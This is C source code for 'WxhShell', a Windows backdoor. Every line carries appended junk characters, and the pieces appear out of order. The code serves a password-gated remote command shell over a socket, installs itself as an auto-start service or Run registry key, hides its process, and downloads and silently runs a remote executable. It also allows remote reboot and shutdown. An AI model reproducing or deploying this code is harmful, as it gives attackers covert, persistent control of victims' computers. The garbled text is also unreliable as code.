    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "G,$Sqi@  
    if(Boot(SHUTDOWN)) MEZc/Ru-[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @5y ~A}Vd  
    else { hJcN*2\:  
    closesocket(wsh); D%=FCmL5@=  
    ExitThread(0); g<"k\qs7  
    } e$+/;MRq  
    break; ON~K(O2g(  
    } l{b*YUsz>  
  // 获取shell BvA09lK  
  case 's': { DHnu F@M  
    CmdShell(wsh); _>"f&nb O  
    closesocket(wsh); GI40Ztms  
    ExitThread(0); ;[>g(W+  
    break; 6xsB#v*  
  } J&bhR9sF  
  // 退出 rBY{&JhS  
  case 'x': { |KQkmc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )^'g2gVK+p  
    CloseIt(wsh); uqMe %  
    break; 5Sm)+FC :  
    } zjVQ\L  
  // 离开 !04zWYHo  
  case 'q': { !<P|:Oo*Dl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E6FT*}Q  
    closesocket(wsh); mtQlm5l  
    WSACleanup(); %oY=.Ok ]  
    exit(1); k_}aiHdG  
    break; Im*~6[  
        } Zg#VZg1 2  
  } h72#AN  
  } 78[5@U  
F:o<E 42  
  // 提示信息 Qso"jYl<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hn@T ]k  
} D ^~G(m;-  
  } 8w|-7$ v  
8^FAeV#  
  return; F3L'f2yBG  
} #& 5}  
u{_jweZ  
// shell模块句柄 9gLUM$Kd  
int CmdShell(SOCKET sock) DfJHH)Ry}  
{ ub* j&L=  
STARTUPINFO si; .h;PMY+  
ZeroMemory(&si,sizeof(si)); *+wGXm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Pfv| K;3i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @Pt,N qj:  
PROCESS_INFORMATION ProcessInfo; =oPc\VYW  
char cmdline[]="cmd"; IV5B5Q'D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >P/Nb]C  
  return 0; #r ;;d(  
} 10 D6fkjf  
GvCB3z  
// 自身启动模式 8 FqhSzw  
int StartFromService(void) 1sT%g}w@|  
{ | <q9Ee  
typedef struct gPu0j4&-  
{ JXBTd=r_oM  
  DWORD ExitStatus; #cRw0bn:  
  DWORD PebBaseAddress; .%'$3=/oe  
  DWORD AffinityMask; _FJ,, /~  
  DWORD BasePriority; Zss `##  
  ULONG UniqueProcessId; !7KSNwGu  
  ULONG InheritedFromUniqueProcessId; {B_pjs  
}   PROCESS_BASIC_INFORMATION; fuQb h  
z+Cw*v\Y  
PROCNTQSIP NtQueryInformationProcess;  d Xiv8B1  
n4YedjHSN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; UY!N"[&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l-Q.@hG  
;hsem,C h7  
  HANDLE             hProcess; )TmqE<[  
  PROCESS_BASIC_INFORMATION pbi; [= GVK  
 >Mzk;TM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }c"1;C&{  
  if(NULL == hInst ) return 0; jv C.T]<B  
.=nx5y z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ![{>$Q?5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;B'5B]A3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); NX?IM8\t  
Y)-)owx7  
  if (!NtQueryInformationProcess) return 0; "XU M$:D  
5yHarC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); xgX"5Czvv`  
  if(!hProcess) return 0; =deqj^&@  
s L9,+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >Y h7By  
1%;o-F@  
  CloseHandle(hProcess); :UyNa0$l:"  
):Vzv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I4%p?'i,C  
if(hProcess==NULL) return 0; 7h3#5Y  
*f?z$46  
HMODULE hMod; Gg\805L@  
char procName[255]; BDeX5/`U#  
unsigned long cbNeeded; #s!q(Rc  
q Z,7q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3y9K'  
epWO}@ b a  
  CloseHandle(hProcess); x*EzX4$x  
_msV3JBr  
if(strstr(procName,"services")) return 1; // 以服务启动 oj6b33z  
_m  *8f\  
  return 0; // 注册表启动 >~g(acH%`x  
} ?3{R'Buv]  
lO)0p2  
// 主模块 :< )"G&  
int StartWxhshell(LPSTR lpCmdLine) q]-CTx$  
{ j#C1+Us  
  SOCKET wsl; b&y"[1`  
BOOL val=TRUE; DRBRs-D  
  int port=0; +0,{gDd+  
  struct sockaddr_in door; C;T:'Uws  
=*AAXNs@3  
  if(wscfg.ws_autoins) Install(); y}fF<qih'>  
yN0!uzdW*  
port=atoi(lpCmdLine); AX Y.80+  
T4OH,^J  
if(port<=0) port=wscfg.ws_port; = }&@XRLJ  
V>{G$(v$  
  WSADATA data; Bc/'LI.%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M<A*{@4$w&  
X_7cwPY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =?*6lS}gy  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Lqt.S|  
  door.sin_family = AF_INET; &nc 0stuL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cmzu @zq  
  door.sin_port = htons(port); LEq"g7YH  
nPW?DbH +  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )wmG&"qsP  
closesocket(wsl); Lv`*+;1 K  
return 1; CDy *8<-&  
} /D]V3|@E  
X"hoDg  
  if(listen(wsl,2) == INVALID_SOCKET) { JYY:~2  
closesocket(wsl); d$3;o&VUNI  
return 1; wIrjWU2  
} Vr1Wr%  
  Wxhshell(wsl); $a.!X8sHB.  
  WSACleanup(); l1_Tr2A}7/  
UN~dzA~V  
return 0; X>[x7t:  
ZfpV=DU  
} i/&?e+i  
>|)ia5#  
// 以NT服务方式启动 K/2k/\Jk[_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +h64idM{U  
{ 6,ZfC<)  
DWORD   status = 0; M~0A-*N  
  DWORD   specificError = 0xfffffff; }@6/sg  
2(-J9y|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %uuh+@/&yz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )JO#Z(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ArFsr  
  serviceStatus.dwWin32ExitCode     = 0; Kk}|[\fW  
  serviceStatus.dwServiceSpecificExitCode = 0; AoaRlk-#  
  serviceStatus.dwCheckPoint       = 0; E&\dr;{7  
  serviceStatus.dwWaitHint       = 0; >@NH Al  
uhyw?#f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0 !D,74r  
  if (hServiceStatusHandle==0) return; L[]*vj   
fn%Gu s~  
status = GetLastError(); u|!On  
  if (status!=NO_ERROR) 0ssKZ9Lc  
{ &C~R*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N1lhlw6  
    serviceStatus.dwCheckPoint       = 0; b8?qYm  
    serviceStatus.dwWaitHint       = 0; vy ME  
    serviceStatus.dwWin32ExitCode     = status; oD$8(  
    serviceStatus.dwServiceSpecificExitCode = specificError; *K9I+t"g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |ZEZ@y^  
    return; S$CO T)7  
  } z7[TgL7  
K[wOK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |x2 +O  
  serviceStatus.dwCheckPoint       = 0; 1'skCR|!<  
  serviceStatus.dwWaitHint       = 0; ^i"C%8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9,?\hBEu  
} vybQ}dscn  
yIm@m[B;  
// 处理NT服务事件,比如:启动、停止 O/X;(qYd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U>q&p}z0 H  
{ AN!MFsk  
switch(fdwControl) [DW}z  
{ ISQC{K']J  
case SERVICE_CONTROL_STOP: }Pm>mQZ},  
  serviceStatus.dwWin32ExitCode = 0; -S7PnR6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]!u12^A{  
  serviceStatus.dwCheckPoint   = 0; QHt;c  
  serviceStatus.dwWaitHint     = 0; 49)A.Bh&!  
  { @%4MFc0`!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jpL' y1@Ut  
  } $jt  UQ1  
  return; \5+?wpH  
case SERVICE_CONTROL_PAUSE: k,EI+lCX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {U$qxC]M  
  break; v&6=(k{E@R  
case SERVICE_CONTROL_CONTINUE: hjuzVOE|W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _%HpB=  
  break; 81\$X  
case SERVICE_CONTROL_INTERROGATE: Gj[+{  
  break; w#?@ulr]d  
}; 8q)wT0A~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T Y|5O! <  
} fI{ZElPp  
u9WQ0.  
// 标准应用程序主函数 pNOVyyo>BW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2<d l23  
{ kI|Vv90l  
FiTP-~  
// 获取操作系统版本 <O`yM2/pS  
OsIsNt=GetOsVer(); G2FP|mf,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); P;&rh U^[  
QN%w\ JXS  
  // 从命令行安装 _$<Q$P6y  
  if(strpbrk(lpCmdLine,"iI")) Install(); _n.2'  
_1z|QC  
  // 下载执行文件 4dDDi,)U  
if(wscfg.ws_downexe) { F^5<o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VS$ZR'OP0  
  WinExec(wscfg.ws_filenam,SW_HIDE); O|#N$a&_N  
} S.;>:Dd[K  
9m2_zfO[ w  
if(!OsIsNt) { 8\-Q(9q(  
// 如果时win9x,隐藏进程并且设置为注册表启动 IAr  
HideProc(); HaP0;9q  
StartWxhshell(lpCmdLine); {HV$hU+_)Q  
} SZOcFmC?  
else P!?Je/ Tz]  
  if(StartFromService()) 8S&Kf>D  
  // 以服务方式启动 q!iMc  
  StartServiceCtrlDispatcher(DispatchTable); L  lP  
else ],*^wQ   
  // 普通方式启动 "K EB0U  
  StartWxhshell(lpCmdLine); nwwKef(  
#+V5$  
return 0; FHNK%Ko  
} zw{cli&S  
#1MEmt  
,2F4S5F~rC  
s*R \!L  
=========================================== JPS7L}Kv  
MCamc  
.xtjB8gc  
&9CKI/K:  
F+;{s(wx  
o C]tEXJ  
" c65_E<5Z  
GW ]E,a  
#include <stdio.h> :kycIM]s  
#include <string.h> =e7,d$i  
#include <windows.h> <B]\&  
#include <winsock2.h> &Mset^o  
#include <winsvc.h> N0be=IO5#  
#include <urlmon.h> zcrLd={  
-e=p*7']  
#pragma comment (lib, "Ws2_32.lib") LGN,8v<W(  
#pragma comment (lib, "urlmon.lib") /K mzi9j+  
ETP}mo  
#define MAX_USER   100 // 最大客户端连接数 d*26;5~\  
#define BUF_SOCK   200 // sock buffer M\wIpRD,  
#define KEY_BUFF   255 // 输入 buffer xCH,d:n=  
1y5]+GU'`  
#define REBOOT     0   // 重启 iSTr;>A  
#define SHUTDOWN   1   // 关机 QK0  
&tFVW[(  
#define DEF_PORT   5000 // 监听端口 sQ65QJtt0A  
{ 7y.0_Y  
#define REG_LEN     16   // 注册表键长度 P5;LM9W  
#define SVC_LEN     80   // NT服务名长度 W11Wv&  
sIuk  
// 从dll定义API ;!4Bw"Gg  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p*10u@,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qC9$xIWq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6KiI3%y?0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Xtqjx@ye  
T ,, Ao36  
// wxhshell配置信息 *uR&d;vg.8  
struct WSCFG { kJ6=T6s  
  int ws_port;         // 监听端口 !UE' AB  
  char ws_passstr[REG_LEN]; // 口令 _S:6;_bz  
  int ws_autoins;       // 安装标记, 1=yes 0=no gWp\?La  
  char ws_regname[REG_LEN]; // 注册表键名 hWK}] gF  
  char ws_svcname[REG_LEN]; // 服务名 cq'opjLf5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0N3 cC4!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vjG: 1|*e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Hz$l)g}U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \1 4"Bgj1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !Gu,X'#Ab  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u49zc9  
tE0DST/  
}; 3Oy-\09  
nu,#y"WQ  
// default Wxhshell configuration qO=_i d  
struct WSCFG wscfg={DEF_PORT, #5GIO  
    "xuhuanlingzhe", (: IUg   
    1, YmM+x=G:  
    "Wxhshell", VOBzB]  
    "Wxhshell", u7>b}+ak&  
            "WxhShell Service", @sly-2{e1  
    "Wrsky Windows CmdShell Service", D'aq^T'  
    "Please Input Your Password: ", ~LPxVYhK  
  1, ~ \tI9L?|A  
  "http://www.wrsky.com/wxhshell.exe", -;_`>OU{  
  "Wxhshell.exe" 6#XB'PR2p  
    }; Evkb`dU3n  
^4^1)' %  
// 消息定义模块 Ec| Gom?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q10gKVJum  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W=M`Bkw{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <}b`2/wP  
char *msg_ws_ext="\n\rExit."; %sb)U~gP  
char *msg_ws_end="\n\rQuit."; ZdHfZ3)dB  
char *msg_ws_boot="\n\rReboot..."; _[-+%RP  
char *msg_ws_poff="\n\rShutdown..."; SU OuayE  
char *msg_ws_down="\n\rSave to "; &Zl$7  
$:"r$7  
char *msg_ws_err="\n\rErr!"; SU;PmG4  
char *msg_ws_ok="\n\rOK!"; &^e%gU8!\  
#%k!`?^fbK  
char ExeFile[MAX_PATH]; *6~ODiB  
int nUser = 0; F)/}Q[o8  
HANDLE handles[MAX_USER]; @-bX[}.  
int OsIsNt; _^Lv8a3(O  
][- N<  
SERVICE_STATUS       serviceStatus; jC1mui|Y^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h+Km|  
}}XYV eI  
// 函数声明 e Ll+F%@  
int Install(void); !=@Lyt)_b  
int Uninstall(void); *,hS-  
int DownloadFile(char *sURL, SOCKET wsh); zVe@`gc  
int Boot(int flag); W HO;;j  
void HideProc(void); }l&Uh &B`  
int GetOsVer(void); Vh^fbv`?  
int Wxhshell(SOCKET wsl); yfeX=h  
void TalkWithClient(void *cs); )n 1b  
int CmdShell(SOCKET sock); Ddde, WJA  
int StartFromService(void); ~H/|J^ J  
int StartWxhshell(LPSTR lpCmdLine); oK&LYlU  
j <>|Hi #`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^,')1r,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 24"Trg\WK[  
O[f*!  
// 数据结构和表定义 Q=J"#EFs  
SERVICE_TABLE_ENTRY DispatchTable[] = /2-S/,a  
{ uZ( I|N$  
{wscfg.ws_svcname, NTServiceMain}, L+Yn}"gIs  
{NULL, NULL} A_1cM#4  
}; d_=@1 JM>  
8RWfv}:X  
// 自我安装 Gwxx W   
int Install(void) ')t :!#  
{ #}L75  
  char svExeFile[MAX_PATH]; 6 ]W!>jDc  
  HKEY key; L<!}!v5ja  
  strcpy(svExeFile,ExeFile); xRYL{+  
t9S zZ2E  
// 如果是win9x系统,修改注册表设为自启动 Xu`c_  
if(!OsIsNt) { Mit,X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r(iT&uz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aYr?J Ol  
  RegCloseKey(key); 02:]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A,i.1U"w8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "Wr5:T-;  
  RegCloseKey(key); c4ptY5R),  
  return 0; $A"kHS7T  
    } ?D-1xnxep  
  } y0cHs|8  
} ;NH 5 L,  
else { 9Y!N\-x`  
/ pzdX%7  
// 如果是NT以上系统,安装为系统服务 S-{[3$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c^vP d]Ed  
if (schSCManager!=0) \"B?'Ep;  
{ 7l> |G,[c  
  SC_HANDLE schService = CreateService D].!u{##  
  ( /%9D$\  
  schSCManager, K: g_M  
  wscfg.ws_svcname, e*p7(b-  
  wscfg.ws_svcdisp, zWpJ\/k~  
  SERVICE_ALL_ACCESS, zbK=yOIOd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =; Gw=m(  
  SERVICE_AUTO_START, Gm;)Om_  
  SERVICE_ERROR_NORMAL, Vy0s%k  
  svExeFile, n/#zx:d?  
  NULL, $X8(OS5d'  
  NULL, ,#[0As29u  
  NULL, tFt56/4  
  NULL, ZC 7R f  
  NULL ^;jJVYx-PP  
  ); 4Gs#_|!  
  if (schService!=0) yQE|FbiA  
  { eznt "Rr2  
  CloseServiceHandle(schService); O*{<{3  
  CloseServiceHandle(schSCManager); lo*OmAF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \7PPFKS  
  strcat(svExeFile,wscfg.ws_svcname); Q\Dx/?g!vx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r!SMF ]?SJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^Gt&c_gH  
  RegCloseKey(key); 2g~qVT,  
  return 0; RUqN,C,m5I  
    } i'9aQi"G  
  } XWN ra  
  CloseServiceHandle(schSCManager); <WFA3  
} G n"]<8yl~  
} ,Oa-AF/p  
stuj,8  
return 1; >QO^h<.>  
} eygmhaE  
+\g/KbV7  
// 自我卸载 X{4jyi-<  
int Uninstall(void) C(zgBk  
{ |f), dC  
  HKEY key; |U{9Yy6p  
|{ W4JFKJ  
if(!OsIsNt) { ly"Jl8/<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pgbm2mT9  
  RegDeleteValue(key,wscfg.ws_regname); 4?Pdld  
  RegCloseKey(key); EdFCaW}""  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >KHR;W03  
  RegDeleteValue(key,wscfg.ws_regname); gY\X?  
  RegCloseKey(key); hhd%j6  
  return 0; j8n_:;i*  
  } `)V1GR2 ES  
} -n&g**\w  
} e$]`  
else { 8* 7t1$  
.4on7<-a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <=.0 P/N  
if (schSCManager!=0) Pyh+HD\  
{ m,}0p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MU6|>{  
  if (schService!=0) X`i'U7%I  
  { )!6JSMS  
  if(DeleteService(schService)!=0) { <T]%Gg8  
  CloseServiceHandle(schService); },58B  
  CloseServiceHandle(schSCManager); Zjis0a]v~k  
  return 0; (:9yeP1  
  } k(LZ,WSR  
  CloseServiceHandle(schService); HJ#3wk"W  
  } E;!pK9wL|  
  CloseServiceHandle(schSCManager); $A~UA  
} zVN/|[KP4  
} DfYOGs]@  
3ARvSz@5  
return 1; Gk_%WY*  
} Z] ?Tx2|7  
pde,@0(Fa  
// 从指定url下载文件 HYVSi3[  
int DownloadFile(char *sURL, SOCKET wsh) hOYm =r  
{ "XPBNv\>_  
  HRESULT hr; tUX4#{)q(j  
char seps[]= "/"; 0XouHU  
char *token; UNLmnj;-Q  
char *file; X3[gi`  
char myURL[MAX_PATH]; _Z~cJIEU  
char myFILE[MAX_PATH]; =KQQS6  
& Tz@lvOv%  
strcpy(myURL,sURL); O-m=<Fk> D  
  token=strtok(myURL,seps); 8Aq [@i  
  while(token!=NULL) 5)h#NkA\J  
  { &L7u//  
    file=token; #yNSQd  
  token=strtok(NULL,seps); Br/qOO:n$}  
  } 6oTWW@  
{g8uMt\4  
GetCurrentDirectory(MAX_PATH,myFILE); *R9s0;&:  
strcat(myFILE, "\\"); G!]%xFwYa  
strcat(myFILE, file); ,RmXZnWY  
  send(wsh,myFILE,strlen(myFILE),0); h>ZNPP8N  
send(wsh,"...",3,0); 9%fd\o@X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oCtg{*vp  
  if(hr==S_OK) $cl[Qcw  
return 0; ;]*V6!6RR  
else wQ1_Q8:Z  
return 1; Xjb 4dip  
^gw htnI  
} [6 d~q]KH  
_#[~?g`  
// 系统电源模块 SCwAAE9s]  
int Boot(int flag) RF3?q6j ,  
{ pypW  
  HANDLE hToken; 5>9KW7^L  
  TOKEN_PRIVILEGES tkp; i4<&zj})  
-,xCUG<g  
  if(OsIsNt) { :Y? L*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;8F|Q<`pV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EY~b,MIL4  
    tkp.PrivilegeCount = 1; 4%!#=JCl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (<M^C>pldf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?yAp&Ad  
if(flag==REBOOT) { Q 6>7{\8l  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Z;6f{yWf  
  return 0; nsT]Yxo%M  
} 6yDj1PI  
else { g%C!)UbT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K4T#8K]aZF  
  return 0; $}&r.=J".  
} cnJL*{H<2  
  } @|I:A  
  else { R$>]7-N}  
if(flag==REBOOT) { @ P:b\WCI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ufx^@%v  
  return 0; 48}L!m @  
} C%c}lv8;^  
else { P:~X az\F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XOOWrK7O  
  return 0; Z|78>0SAt  
} M.DU^-7  
} J#k3iE}  
c L+-- $L  
return 1; Mn)>G36(  
}  ywQ>T+  
iJ8 5okv'  
// win9x进程隐藏模块 8PN/*Sa  
void HideProc(void) .`I;qF  
{ \o|5 /N  
bIvF5d>9#K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3o).8b_3g  
  if ( hKernel != NULL ) Z>897>  
  { OO7sj@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CsJ38]=Mt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4Sj;38F .1  
    FreeLibrary(hKernel); %:jVx  
  } 2 X];zY  
+&AKDVmx  
return; |6qxRWT"  
} I JPpF`  
o0yyP,?yh  
// 获取操作系统版本 sObH#/l`  
int GetOsVer(void) 7z.(pg=  
{ O~p@87aq  
  OSVERSIONINFO winfo; Z.Otci>J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {c 82bFiv  
  GetVersionEx(&winfo); jwP}{mi*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^[UWG^d  
  return 1; ' 91-\en0  
  else YN=dLr([<  
  return 0; N}$$<i2o  
} L&gC  
>"OwdAvX  
// 客户端句柄模块 %NyV 2W=~X  
int Wxhshell(SOCKET wsl) qVHXZdGL  
{ I "8:IF  
  SOCKET wsh; 2&e2/KEWR  
  struct sockaddr_in client;  <>|&%gmz  
  DWORD myID; Fi7G S;  
+%O_xqq  
  while(nUser<MAX_USER) ?&ow:OH+  
{ Z.4 vKO[<  
  int nSize=sizeof(client); 3 s@6pI  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /.knZ_aJ!  
  if(wsh==INVALID_SOCKET) return 1; JYAtQTOR  
&-S;.}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N5ph70#y3  
if(handles[nUser]==0) U-U^N7  
  closesocket(wsh); "7> o"FQ  
else .5S< G)Ja  
  nUser++; rE&` G[(b  
  } T<jo@z1UL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P#0U[`ltK  
5B|&+7dCw  
  return 0; P!6 v0ezN  
} '7Ad:em  
[!g$|   
// 关闭 socket P"Scs$NOU?  
void CloseIt(SOCKET wsh) mJ'Q9x"  
{ +#B4Z'nT  
closesocket(wsh); `Kt]i5[ "  
nUser--; xr;:gz!h  
ExitThread(0);  L+=pEk_  
} H3}eFl=i2  
mY)Y47iL  
// 客户端请求句柄 =do*(  
void TalkWithClient(void *cs) q7z;bA  
{ }L!%^siG_  
Wl29xY}`{!  
  SOCKET wsh=(SOCKET)cs; We8n20wf<  
  char pwd[SVC_LEN]; @W_=Z0]  
  char cmd[KEY_BUFF]; T#o?@ ;  
char chr[1]; o+w G6 9  
int i,j; '\,|B x8Q  
?k 4|;DD  
  while (nUser < MAX_USER) { &7fwYV  
&8!~H<S  
if(wscfg.ws_passstr) { vqeWt[W v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6Mh;ld@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F2N)|C<  
  //ZeroMemory(pwd,KEY_BUFF); sy\w ^]  
      i=0; wU"0@^k]<  
  while(i<SVC_LEN) { k2-:! IE  
FFG/v`NM  
  // 设置超时 L[j73z'  
  fd_set FdRead; 9 rMP"td  
  struct timeval TimeOut; <[oPh(!V  
  FD_ZERO(&FdRead); odPdWV,&*  
  FD_SET(wsh,&FdRead); &'mq).I2  
  TimeOut.tv_sec=8; eG @0:  
  TimeOut.tv_usec=0; Ala~4_" WL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +,g"8&>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I7S#vIMXR.  
l%f &vOcd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ].!^BYNht  
  pwd=chr[0]; eZck$]P(6H  
  if(chr[0]==0xd || chr[0]==0xa) { |riP*b  
  pwd=0; fr19C%{  
  break; Li?_P5+a  
  } &*e(  
  i++; ycPGv.6  
    } [9lfR5=Xw[  
*l-f">?|  
  // 如果是非法用户,关闭 socket DHnO ,"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4/Mi-ls_  
} )-u0n] ,  
R.Uwf  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xMpQPTte  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +HpPVuV  
b@> MA  
while(1) { a*D])Lu[  
K<g<xW*X  
  ZeroMemory(cmd,KEY_BUFF); f ecV[  
h,!#YG@>  
      // 自动支持客户端 telnet标准   !EuqJjh  
  j=0; c@&`!e  
  while(j<KEY_BUFF) { l_MF9.z&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rD?G7l<~>_  
  cmd[j]=chr[0]; 01_*^iCf5  
  if(chr[0]==0xa || chr[0]==0xd) { 2X)n.%4g$;  
  cmd[j]=0; J?1U'/Wx2  
  break; ~CRd0T[^  
  } 3+uCTn0%  
  j++; M];?W  
    } `p'(:W3a  
gR]NH  
  // 下载文件 [d3i _^\  
  if(strstr(cmd,"http://")) { '  ~F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;WqWD-C  
  if(DownloadFile(cmd,wsh)) ]}za  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :MFF*1  
  else ';>A=m9(4%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y48MCL  
  } >%?kp[  
  else { qrw"z iW  
